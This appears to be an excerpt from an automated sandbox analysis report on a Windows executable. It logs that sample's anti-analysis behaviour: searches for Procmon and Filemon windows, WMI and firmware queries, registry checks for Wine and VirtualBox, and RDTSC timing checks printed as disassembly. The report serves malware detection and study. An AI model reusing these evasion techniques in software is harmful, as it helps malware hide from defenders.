Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132DC69 push esi; iretd	0_3_0132DC6A
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132DC69 push esi; iretd	0_3_0132DC6A
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132DC69 push esi; iretd	0_3_0132DC6A
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132DC69 push esi; iretd	0_3_0132DC6A
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E058 push ecx; iretd	0_3_0132E072
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132D441 push edi; ret	0_3_0132D442
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; retf	0_3_0132E092
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132E003 push ecx; ret	0_3_0132E052

Source: CAo57G5Cio.exe

Static PE information: section name: entropy: 7.973097545206366

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: DC93E9 second address: DC93EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: DC93EE second address: DC8D26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2A78h], ebx 0x00000012 push dword ptr [ebp+122D09CDh] 0x00000018 xor dword ptr [ebp+122D38F3h], edi 0x0000001e call dword ptr [ebp+122D3B45h] 0x00000024 pushad 0x00000025 stc 0x00000026 xor eax, eax 0x00000028 ja 00007F84ECDED157h 0x0000002e stc 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 cmc 0x00000034 mov dword ptr [ebp+122D2BB8h], eax 0x0000003a cmc 0x0000003b mov esi, 0000003Ch 0x00000040 jbe 00007F84ECDED15Ch 0x00000046 add esi, dword ptr [esp+24h] 0x0000004a sub dword ptr [ebp+122D1E40h], ecx 0x00000050 lodsw 0x00000052 clc 0x00000053 stc 0x00000054 add eax, dword ptr [esp+24h] 0x00000058 mov dword ptr [ebp+122D2156h], esi 0x0000005e mov ebx, dword ptr [esp+24h] 0x00000062 cld 0x00000063 clc 0x00000064 nop 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 push ebx 0x00000069 pop ebx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: DC8D26 second address: DC8D43 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d ja 00007F84ECC38F9Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4235E second address: F42372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F84ECDED15Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F42372 second address: F42395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Ah 0x00000007 jne 00007F84ECC38F9Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F84ECC38F96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F42395 second address: F423CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECDED161h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F84ECDED15Fh 0x00000011 pop edx 0x00000012 jo 00007F84ECDED162h 0x00000018 je 00007F84ECDED156h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46BA6 second address: F46BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECC38FA2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46BBE second address: F46BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F84ECDED162h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46BDF second address: F46BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F84ECC38FA4h 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46BFD second address: F46C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46C03 second address: F46C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46C08 second address: F46C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F84ECDED160h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46C1E second address: F46C39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F46C39 second address: F46C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F84ECDED156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F473B7 second address: F473C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F84ECC38F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F473C1 second address: F473C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F473C5 second address: F473D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F84ECC38F96h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A339 second address: F4A354 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnl 00007F84ECDED16Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F84ECDED15Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A354 second address: F4A370 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F84ECC38F9Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A370 second address: F4A376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A376 second address: F4A3A3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F84ECC38F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007F84ECC38FA5h 0x00000014 pushad 0x00000015 jbe 00007F84ECC38F96h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A3A3 second address: F4A430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F84ECDED15Ch 0x00000010 jmp 00007F84ECDED166h 0x00000015 popad 0x00000016 pop eax 0x00000017 cld 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F84ECDED158h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov ecx, 3B20A420h 0x00000039 push 00000000h 0x0000003b mov cx, ax 0x0000003e push 00000003h 0x00000040 call 00007F84ECDED167h 0x00000045 mov dword ptr [ebp+122D1D11h], edi 0x0000004b pop edx 0x0000004c push 8B2F901Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 ja 00007F84ECDED158h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A4B1 second address: F4A4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A4B5 second address: F4A50B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F84ECDED156h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+12453252h], edi 0x00000018 push 00000000h 0x0000001a jmp 00007F84ECDED166h 0x0000001f call 00007F84ECDED159h 0x00000024 jmp 00007F84ECDED15Ch 0x00000029 push eax 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F84ECDED15Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A50B second address: F4A50F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A50F second address: F4A599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jng 00007F84ECDED16Bh 0x00000011 jmp 00007F84ECDED165h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F84ECDED15Ch 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 js 00007F84ECDED15Eh 0x00000027 pop eax 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F84ECDED158h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov dword ptr [ebp+122D226Fh], edx 0x00000048 push 00000003h 0x0000004a mov dword ptr [ebp+122D36F0h], esi 0x00000050 push 00000000h 0x00000052 sbb di, 3A9Bh 0x00000057 mov esi, ebx 0x00000059 push 00000003h 0x0000005b mov esi, ecx 0x0000005d push EFEEBDF7h 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A599 second address: F4A5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A5A0 second address: F4A5BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F84ECDED165h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F4A5BA second address: F4A5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 2FEEBDF7h 0x0000000e and ecx, 3B426DE6h 0x00000014 lea ebx, dword ptr [ebp+1245516Ah] 0x0000001a adc dl, FFFFFFD2h 0x0000001d jmp 00007F84ECC38FA7h 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6BEE0 second address: F6BEFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F84ECDED15Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6BEFA second address: F6BF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6BF00 second address: F6BF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F69DB4 second address: F69DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECC38FA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F69DCD second address: F69DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F69EF4 second address: F69F07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38F9Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F69F07 second address: F69F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F84ECDED167h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F69F28 second address: F69F30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A251 second address: F6A26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F84ECDED166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A26C second address: F6A289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA3h 0x00000007 jbe 00007F84ECC38FA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A289 second address: F6A2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F84ECDED156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 je 00007F84ECDED156h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A2A3 second address: F6A2AD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F84ECC38FA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A537 second address: F6A584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F84ECDED166h 0x0000000b jns 00007F84ECDED156h 0x00000011 pop edx 0x00000012 jmp 00007F84ECDED164h 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F84ECDED160h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A584 second address: F6A588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A875 second address: F6A879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6A879 second address: F6A87F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F62405 second address: F6243F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F84ECDED169h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F84ECDED162h 0x00000013 jnc 00007F84ECDED156h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6243F second address: F62443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B63D second address: F6B641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B641 second address: F6B667 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F84ECC38FA9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B667 second address: F6B66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B66D second address: F6B671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B7C8 second address: F6B7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F6B7CE second address: F6B7D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F70678 second address: F7068A instructions: 0x00000000 rdtsc 0x00000002 js 00007F84ECDED158h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F7068A second address: F706B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F84ECC38FA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F84ECC38F98h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F706B2 second address: F706B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F706B6 second address: F706BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F706BA second address: F706E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F84ECDED16Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F38213 second address: F3822E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F84ECC38FA3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F3822E second address: F38243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F84ECDED15Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: F38243 second address: F38247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
